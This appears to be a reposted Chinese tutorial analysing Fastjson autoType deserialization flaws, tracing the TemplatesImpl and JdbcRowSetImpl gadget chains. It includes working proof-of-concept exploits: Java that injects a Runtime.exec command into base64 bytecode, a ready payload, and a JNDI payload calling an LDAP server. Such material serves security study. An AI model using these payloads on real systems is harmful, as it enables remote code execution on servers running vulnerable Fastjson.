简介
FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过
toJSONString
和
parseObject/parse
来实现序列化和反序列化。
使用
对于序列化的方法
toJSONString()
有多个重载形式。
SerializeFeature
: 通过设置多个特性到FastjsonConfig
中全局使用, 也可以在使用具体方法中指定特性SerializeFilter
: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化SerializeConfig
: 添加特点类型自定义的序列化配置
对于反序列化的方法
parseObject()
也同样有多个重载形式。
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
序列化操作
可以发现这两个的区别,如果使用了 toJSONString()的属性值
SerializerFeature.WriteClassName
,就会在序列化的时候多写入一个
@type
后面跟着的是反序列化的类名。
反序列化操作
package pers.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class UnSerialTest { public static void main(String[] args) { String jsonStringWithType = "{\"@type\":\"pers.fastjson.Student\",\"name\":\"RoboTerh\"}"; String jsonStringWithoutType = "{\"name\":\"RoboTerh\"}"; System.out.println("use JSON.parse with type......"); Object o1 = JSON.parse(jsonStringWithType); System.out.println(o1); System.out.println("------------------------------------"); System.out.println("use JSON.parse without type...."); Object o2 = JSON.parse(jsonStringWithoutType); System.out.println(o2); System.out.println("-------------------------------------"); System.out.println("use JSON.parseObject with type......."); JSONObject o3 = JSON.parseObject(jsonStringWithType); System.out.println(o3); System.out.println("--------------------------------------"); System.out.println("use JSON.parseObject without type........."); JSONObject o4 = JSON.parseObject(jsonStringWithoutType); System.out.println(o4); System.out.println("----------------------------------------"); System.out.println("use JSON.parseObject without type but hava .Class"); Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class); System.out.println(o5); }}
复制代码
可以通过结果发现 1 和 5 成功反序列化,没成功都是因为没有确定需要反序列化的类。
我们可以发现,在引入了
@type
之后,
JSON.parseObject
调用了
getter/setter
方法,
JSON.parse
调用了
setter
方法。
当然,其他的方式也是可以调用
getter
方法的,但是有条件限制:
条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头,且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法(程序会先将目标类中所有的 setter 加入 fieldList 列表,因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter)
因为
fastjson
存在
autoType
机制, 当用户指定
@type
时, 存在调用恶意
setter
/
getter
的情况, 这就是
fastjson
反序列化漏洞。
简单的漏洞
//Evil.javapackage pers.fastjson;import java.io.IOException;public class Evil { private String name; public Evil () { System.out.println("构造方法"); } public void setName(String name) throws IOException { this.name = name; System.out.println("调用了setName方法"); Runtime.getRuntime().exec("calc"); } public String getName() { System.out.println("调用了getName方法"); return name; }}
复制代码
//EvilTest.javapackage pers.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class EvilTest { public static void main(String[] args) { String jsonString = "{\"@type\":\"pers.fastjson.Evil\",\"name\":\"RoboTerh\"}"; JSONObject o = JSON.parseObject(jsonString); System.out.println(o); }}
复制代码
成功弹出了计算器,
我们调式分析分析,
在
JSON.parseObject
处下的断点。
首先使用了 parse()方法进行反序列化操作。
在
JSON.parse(String text, int features)
创建了
DefaultJSONParser
对象。
在成功创建了该对象之后通过判断
ch
是
{ / [
为 token 赋值,这里是 12。
在
DefaultJSONParser#parse
方法中通过判断 token 的值,进入创建了一个
JSONObject
对象。
进
parseObject
方法, 这里会通过
scanSymbol
获取到
@type
指定类, 然后通过
TypeUtils.loadClass
方法加载
Class
.
先是首先在 maping 中寻找 JDK 的内置类,没有找到之后使用 ClassLoader 寻找,得到
clazz
的之后进行返回
创建了
ObjectDeserializer
并且调用了
getDeserializer
方法。
Templateslmpl 利用链
如果一个类中的
getter
满足调用条件而且存在可利用点,攻击链就产生了。
在
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类中就存在一个私有变量
_outputProperties
,他的
getter
方法就满足在反序列化的时候的调用条件。
分析利用链,
从漏洞触发点开始
Templateslmpl#getTransletInstance
方法。
这里通过调用
_class[_transletIndex]
的
newInstance()
方法进行实例化操作,我们追踪
_class[_transletIndex]
的出处,看看是否可以控制,进行恶意操作。
值得注意的是,我们想要达到漏洞点,在
getTransletInstance()
方法的两个 if 语句中,我们需要保证他的
_name
这个私有属性不为空,否则就直接返回了 null,而不会达到漏洞点。
在第二个语句中就是通过
defineTransletClasses()
方法获得了
_class
和
_transletIndex
的值,进入它。
首先判断
_bytecodes
是否为空,这里的
_bytecodes
同样是
Templateslmpl
类的成员变量,可控
如果这里不为空的话,就会执行。
而且这里如果
_tfactory
不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为 null,虽然他也是
Templateslmpl
类的成员变量,但是他没有对应的
setter
,我们可以通过
Feature.SupportNonPublicField
来进行修改。
接着走,在后面有一个 for 循环,
通过
loader.defineClass
修饰之后将
_bytecodes[i]
赋值给
_class[i]
,跟进 defineClass 方法。
他是
ClassLoader
的
defineClass
的重写,作用是将字节码转化为 Class,
转回
defineTransletClasses
,在 if 判断语句中,如果它是 main class 的时候我们就为
_transletIndex
赋值。
现在重新回到
getTranslateInstance()
方法,现在这里的
_class[_translateIndex]
就是我们为
_bytecodes
赋值的恶意 class,我们这里将他给实例化了,成功利用恶意类,
现在我们可以知道
getTranslateInstance()
是可以执行恶意类的,我们搜索在
Templateslmpl
类中什么调用了这个方法的。
可以发现在
newTransformer()
方法中使用了 getTransletInstance()方法。
继续搜索在哪里调用了 newTransformer()方法。
在
getOutputProperties()
方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。
//利用链getOutputProperties() newTransformer() getTransletInstance() defineTransletClasses() _class[_transletIndex].newInstance()
复制代码
POC
package pers.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.codec.binary.Base64;import java.io.IOException;public class Fj24POC { public static class RoboTerh { } public static String makeClasses() throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(RoboTerh.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "RoboTerh" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte[] evilCodes = cc.toBytecode(); return Base64.encodeBase64String(evilCodes); } public static String exploitString() throws NotFoundException, CannotCompileException, IOException { String evilCodeBase64 = makeClasses(); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String exploit = "{'RoboTerh':{" + "\"@type\":\"" + NASTY_CLASS + "\"," + "\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," + "'_name':'RoboTerh'," + "'_tfactory':{ }," + "'_outputProperties':{ }" + "}}\n"; return exploit; } public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { String exploit = exploitString(); System.out.println(exploit); //JSON.parse(exploit, Feature.SupportNonPublicField); //JSON.parseObject(exploit, Feature.SupportNonPublicField); JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField); }}
复制代码
//payload{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}
复制代码
条件限制
需要开启
Feature.SupportNonPublicField
这个特性。
JdbcRowSetImpl 利用链
分析利用链
JdbcRowSetImpl
类位于
com.sun.rowset.JdbcRowSetImpl
中,它本身没有实现
Serializeble
接口,但是他是
BaseRowSet
类的子类,该类实现了该接口,所以它可以进行序列化。
链子的核心触发点是
javax.naming.InitialContext#lookup
的参数可控造成的漏洞。
在
JdbcRowSetImpl#setAutoCommit
中如果
this.conn
为空的时候,就会调用
this.connect
方法。
然后在 connect 方法中就会调用
Javax.naming.InitialContext#lookup
方法,参数是
dataSourceName
成员变量。
//调用链JdbcRowSetImpl对象 getDataSource setAutocommit方法 context.lookup(datasourcename)
复制代码
POC
package pers.fastjson;import com.alibaba.fastjson.JSON;public class Fj24_Jdbc_POC { public static void main(String[] args) { String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," + "\"autoCommit\":\"true\"," + "}"; //JSON.parseObject(payload); 成功 //JSON.parse(payload); 成功 JSON.parseObject(payload, Object.class); }}
复制代码
//payload{"RoboTerh":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:8888/evilObject", "autoCommit":true}}
复制代码
条件限制,
使用了 JNDI 注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。
版权归原作者 初阶羊 所有, 如有侵权,请联系我们删除。